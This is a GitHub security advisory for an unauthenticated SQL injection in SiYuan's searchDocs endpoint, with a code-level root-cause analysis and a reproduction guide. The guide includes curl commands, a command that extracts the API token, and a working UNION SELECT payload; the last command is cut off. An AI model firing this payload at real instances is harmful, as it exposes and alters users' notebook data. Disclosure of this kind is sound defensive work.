GitHub Advisoryadvisory · Go
GHSA-33jq-p8c2-q3q4 SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword (publish mode): cross-notebook read/write with statement stacking
CRITICAL
Official page ↗
- Aliases
- CVE-2026-69085
- Ecosystem
- Go
- Packages
- github.com/siyuan-note/siyuan/kernel
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
- Weaknesses
- CWE-89
- Reviewed
- 2026-10-01
Affected packages
• Go github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260721043339-eef10568384e → fixed in 0.0.0-20260721043339-eef10568384e
Description
Summary
The `/api/filetree/searchDocs` endpoint concatenates the caller-supplied search keyword directly into a SQL statement with no escaping and no parameter binding. The endpoint is gated by `CheckAuth` only reachable by the publish RoleReader token, and by the anonymous account when `Publish.Auth.Enable` is `false`. The resulting statement runs on a read-write SQLite handle through a driver that executes stacked (`;`-separated) statements, against the global `blocks` table spanning all cleartext notebooks. An unauthenticated request can therefore read and write database content across every non-encrypted notebook on the instance.
Details
Data flow, unescaped and unbound at every hop:
• `searchDocs` (`kernel/api/filetree.go`): `k := arg["k"].(string)` passed straight to `model.SearchDocs(k, …)`, no sanitization.
• `SearchDocs` (`kernel/model/file.go`): after `TrimSpace` and `strings.Fields`, each token is spliced into a single-quoted `LIKE` literal by concatenation `condition.WriteString("(hpath LIKE '%" + k + "%'")`. No escaping, no `''` doubling, no bind placeholder.
• `NAMFilter` (`kernel/conf/search.go`): appends `" OR name LIKE '%" + keyword + "%'"` (and `alias`, `memo`) the same way, enabled by default.
• `QueryRootBlockByCondition` (`kernel/sql/block_query.go`): `"SELECT *, … FROM blocks WHERE type = 'd' AND " + condition + " ORDER BY … LIMIT …"` passed to `query(sqlStmt)`.
The only value-inspecting guard is `ast.IsNodeIDPattern(keyword)`, which merely routes an exact-ID-shaped keyword to a different branch; a normal keyword falls through to the concatenation. `strings.Fields` prevents literal whitespace within a token this constrains payload construction but is not sanitization or confinement.
Driver / statement stacking. The driver is the vendored `github.com/88250/go-sqlite3` (mattn fork), registered as `sqlite3_extended`. `query()` calls `db.Query`, and the driver's connection `query` implementation loops over `;`-separated statements preparing and executing each in turn so a stacked statement executes for its side effects. SiYuan's `CheckSingleStatement` / `CheckReadonlyStatement` guards exist but are wired only into the explicit SQL endpoints (`api/sql.go`, `cli`, `mcp`); the `searchDocs > query()` path does not call them.
Handle. The DSN (`kernel/model/database.go`) sets `_journal_mode=WAL&_synchronous=OFF&…` with no `mode=ro` and no `_query_only`. It is the same read-write handle used for indexing `Exec` calls, so stacked `INSERT`/`UPDATE`/`DELETE` execute, and `ATTACH` is available. `load_extension` is not enabled in this build (no build tag / ConnectHook enabling it), so the ceiling is database read/write, not code execution.
Scope. The `blocks` table indexes every opened non-encrypted notebook. Encrypted notebooks use separate per-box databases and are excluded. Scope is therefore all cleartext notebook content on the instance cross-notebook, not publish-scoped.
Impact
An unauthenticated request (publish mode with auth disabled) or any publish RoleReader reaches an unescaped, unparameterized SQL concatenation on a read-write handle whose driver executes stacked statements, against a table spanning all cleartext notebooks. This permits cross-notebook disclosure of document content and, via statement stacking on the read-write handle, modification of database content (and `ATTACH`-reachable files). No admin role, no CSRF token, no write permission through the normal API is required; the publish surface alone is sufficient. Encrypted notebooks are not exposed. Code execution is not reachable in the default build (no `load_extension`).
Root cause
The keyword is split on whitespace and each token is spliced into a `LIKE` literal without escaping or binding:
• `SearchDocs` builds each condition as `(hpath LIKE '%%' ...)` (`file.go:199`).
• `NAMFilter` appends `OR name LIKE '%%'`, `alias`, `memo` the same way (`search.go:135-142`).
• `QueryRootBlockByCondition` concatenates that condition into `SELECT *, length(hpath) - length(replace(hpath, '/', '')) AS lv FROM blocks WHERE type = 'd' AND ORDER BY box DESC, lv ASC LIMIT ` and calls `query()` (`block_query.go:74-75`).
• `query()` calls `db.Query()` with no call to the project's own `CheckSingleStatement` / `CheckReadonlyStatement` guards, which are wired only into `api/sql.go` (the explicit SQL endpoints), not this path (`database.go:1426-1436`).
The only pre-sink check is `ast.IsNodeIDPattern` (`file.go:179`), which merely routes exact-ID-shaped input to a different (also concatenated) branch, it does not sanitize.
Reachability / auth tier
• Route middleware is `model.CheckAuth` only no `CheckAdminRole`.
• The publish reverse proxy injects a token resolving to `RoleReader`, or the anonymous account when `Publish.Auth.Enable=false`. Both satisfy `CheckAuth`.
• The handler applies no publish-access / read-only / role check, and `SearchDocs` applies no post-query scope filter.
• Query targets the global `blocks` table = all opened non-encrypted notebooks (cross-boundary). Encrypted notebooks use separate DBs and are excluded.
Proof of concept (read-only discloses `sqlite_version()`)
Demonstrated against a local instance. Read-only: the PoC runs a single `SELECT … UNION SELECT` and surfaces the SQLite version string through the search response. No data is modified.
1. Prerequisites
• A local SiYuan kernel running (default `http://127.0.0.1:6806`).
• The API token from Settings > About > API token (omit if no access-auth code is set).
• One opened notebook id (17 chars), e.g. from `POST /api/notebook/lsNotebooks`.
2. Why the payload is shaped this way
• The kernel places the keyword as `hpath LIKE '%%'`, so the payload closes the string literal and the condition group, appends a `UNION SELECT`, and comments out the trailing `%'`, `ORDER BY`, and `LIMIT`.
• The keyword is whitespace-split (`strings.Fields`), so literal spaces are replaced with `//` SQL comments.
• `blocks` has 21 columns; the query adds a computed `lv`, so the `UNION SELECT` must supply 22 values. Only col 5 (Box) and col 6 (Path)** matter: col 5 must equal an opened notebook id (result loop skips rows whose box is not open `file.go:230`) and col 6 is returned verbatim as the response `path` field.
3. PoC
1. Open the web UI once (unlocks + ensures a notebook is open)
1. Browser > `http://127.0.0.1:6806`
2. Enter the access-auth code: `poctestcode`
3. Let it finish loading. A fresh instance opens with a default notebook in the left sidebar that's what the PoC needs (the injection surfaces through an open notebook). If the sidebar is empty, click + > New notebook, name it anything, and make sure it's open (bold, not greyed).
2. Grab the API token
```
docker exec siyuan-poc grep -o '"token":"[^"]*"' /siyuan/workspace/conf/conf.json
TOKEN="paste_the_token_value_here"
```
3. Get the open notebook's ID
`curl -s -X POST "http://127.0.0.1:6806/api/notebook/lsNotebooks" -H "Authorization: Token $TOKEN"`
Copy an id whose "closed":false, then: `BOX_ID="paste_that_id_here"`
4. Build the request body
```
cat > body.json <<EOF
{"k":"poc%')//union//select/**/'poc','','poc','','$BOX_ID',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"}
EOF
```
(The heredoc substitutes $BOX_ID for you, no manual editing.)
5. Fire the injection
`curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"'`
Expected: the SQLite version string, e.g. `"path":"3.45.1"`, proof the keyword was executed as SQL. Screenshot this for the advisory.
6. Confirm the row is genuinely injected (optional sanity check)
Run the same request with a benign keyword and confirm no version appears:
`curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOK…
Related
Alias · CVE (1)
- CVE-2026-69085 SiYuan before v3.7.3 contains a SQL injection vulnerability in the /api/filetree/searchDocs endpoint, where the caller-supplied keyword… vulnerability
Weakness · CWE (1)
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness
References
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-69085 advisory
- https://github.com/siyuan-note/siyuan package
- https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3 web
- https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchdocs web